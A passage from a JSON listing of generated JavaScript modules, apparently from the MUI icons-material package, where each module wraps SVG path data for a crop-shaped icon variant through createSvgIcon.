    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7H5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H5V9h14z\"\n}), 'Crop169Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop169Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7H3v10h18zm-2 8H5V9h14z\"\n}), 'Crop169Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop169Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7H3v10h18zm-2 8H5V9h14z\"\n}), 'Crop169Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop169TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7H5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H5V9h14z\"\n}), 'Crop169TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop169TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7H5c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8H5V9h14z\"\n}), 'Crop169TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop32.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H5V8h14z\"\n}), 'Crop32');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop32.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H5V8h14z\"\n}), 'Crop32');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop32Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H5V8h14z\"\n}), 'Crop32Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop32Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H5V8h14z\"\n}), 'Crop32Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop32Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H5V8h14z\"\n}), 'Crop32Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop32Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H5V8h14z\"\n}), 'Crop32Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop32Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6H3v12h18zm-2 10H5V8h14z\"\n}), 'Crop32Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop32Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6H3v12h18zm-2 10H5V8h14z\"\n}), 'Crop32Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop32TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H5V8h14z\"\n}), 'Crop32TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop32TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H5V8h14z\"\n}), 'Crop32TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop54.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H5V6h14z\"\n}), 'Crop54');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop54.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H5V6h14z\"\n}), 'Crop54');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop54Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H5V6h14z\"\n}), 'Crop54Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop54Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H5V6h14z\"\n}), 'Crop54Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop54Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H5V6h14z\"\n}), 'Crop54Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop54Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H5V6h14z\"\n}), 'Crop54Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop54Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H3v16h18zm-2 14H5V6h14z\"\n}), 'Crop54Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop54Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H3v16h18zm-2 14H5V6h14z\"\n}), 'Crop54Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop54TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H5V6h14z\"\n}), 'Crop54TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop54TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H5V6h14z\"\n}), 'Crop54TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop75.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'Crop75');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop75.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'Crop75');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop75Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'Crop75Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop75Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'Crop75Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop75Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'Crop75Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop75Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'Crop75Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop75Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5H3v14h18zm-2 12H5V7h14z\"\n}), 'Crop75Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop75Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5H3v14h18zm-2 12H5V7h14z\"\n}), 'Crop75Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop75TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'Crop75TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Crop75TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'Crop75TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropDin.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'CropDin');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropDin.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'CropDin');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropDinOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'CropDinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropDinOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'CropDinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropDinRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'CropDinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropDinRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'CropDinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropDinSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-2 16H5V5h14z\"\n}), 'CropDinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropDinSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-2 16H5V5h14z\"\n}), 'CropDinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropDinTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'CropDinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropDinTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'CropDinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropFree.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v4h2V5h4V3H5c-1.1 0-2 .9-2 2m2 10H3v4c0 1.1.9 2 2 2h4v-2H5zm14 4h-4v2h4c1.1 0 2-.9 2-2v-4h-2zm0-16h-4v2h4v4h2V5c0-1.1-.9-2-2-2\"\n}), 'CropFree');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropFree.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v4h2V5h4V3H5c-1.1 0-2 .9-2 2m2 10H3v4c0 1.1.9 2 2 2h4v-2H5zm14 4h-4v2h4c1.1 0 2-.9 2-2v-4h-2zm0-16h-4v2h4v4h2V5c0-1.1-.9-2-2-2\"\n}), 'CropFree');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropFreeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v4h2V5h4V3H5c-1.1 0-2 .9-2 2m2 10H3v4c0 1.1.9 2 2 2h4v-2H5zm14 4h-4v2h4c1.1 0 2-.9 2-2v-4h-2zm0-16h-4v2h4v4h2V5c0-1.1-.9-2-2-2\"\n}), 'CropFreeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropFreeOutlined.mjs",
